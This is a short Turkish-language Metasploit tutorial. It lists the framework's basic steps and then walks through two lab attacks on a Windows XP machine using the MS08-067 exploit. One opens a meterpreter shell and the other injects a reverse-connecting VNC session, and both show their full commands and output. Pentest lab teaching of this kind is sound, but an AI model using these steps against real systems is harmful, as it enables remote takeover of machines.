Metasploit Saldırı Aşamaları

1. Exploit'ler ekrana basılır.

    > show exploits

2. Göze çarpan exploit'ler hakkında detaylı bilgi öğrenilir.

    > info exploit/exploitIsmi

3. Tüm exploit'leri incelemek yerine belirli bir exploit aranabilir.

    > search exploitIsmi

4. Exploit seçilir.

    > use path/exploitIsmi

5. Seçilen exploit'in configure edilebilecek değişkenleri ekrana basılır.

    > show options

   (!) Required kısmı yes olan değişkenler set edilmelidir! Örn;

    > set LHOST 192.168.0.18

6. Dilenildiği takdirde exploit'e payload eklenir.

    > set PAYLOAD payloadAdi

7. Seçilen exploit hedef sistemde işe yarıyacak mı diye kontrol edilir.

    > check

8. Son olarak exploit çalıştırılır.

    > exploit

Metasploit Saldırı Örneği

Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso)
Windows XP

(+) Bu yazı birerbir denenmiştir ve başarıyla uygulanmıştır.

1.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf (ms08_067_netapi) > set LHOST 192.168.0.18                  // Kali IP
msf (ms08_067_netapi) > set RHOST 192.168.0.19                  // WinXP IP
msf (ms08_067_netapi) > exploit
```

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP – Service Pack 2 – lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (770048 bytes) to 192.168.0.19

```
meterpreter > shell
```

Process 3060 created.
Channel 1 created.
Microsoft Windows XP [Sürüm 5.1.2600]
© Telif Hakkı 1986-2001 Microsoft Corp.

```
C:\WINDOWS\system32> cd C:\\Documents and Settings\\pentest\\Desktop
C:\Documents and Settings\pentest\Desktop > type null > hacked.txt
```

ya da

```
C:\WINDOWS\system32> upload /root/Desktop/hacked.txt C:\\Documents and Settings\\pentest\\
Desktop
```

2.

```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.2.188          // Kali
msf exploit(ms08_067_netapi) > set LPORT 443
msf exploit(ms08_067_netapi) > set RHOST 192.168.2.206          // WinXP
msf exploit(ms08_067_netapi) > set VNCHOST 192.168.2.188        // Kali
msf exploit(ms08_067_netapi) > exploit
```

[*] Started bind handler

[*] Automatically detecting the target...
[*] Fingerprint: Windows XP – Service Pack 2 – lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (770048 bytes) to 192.168.0.188
[*] Starting local TCP relay on 192.168.2.206

[VNC'nin Ekranı Kali Ekranına Gelir ve XP makinesi Kali'den kumanda edilebilir hale gelir]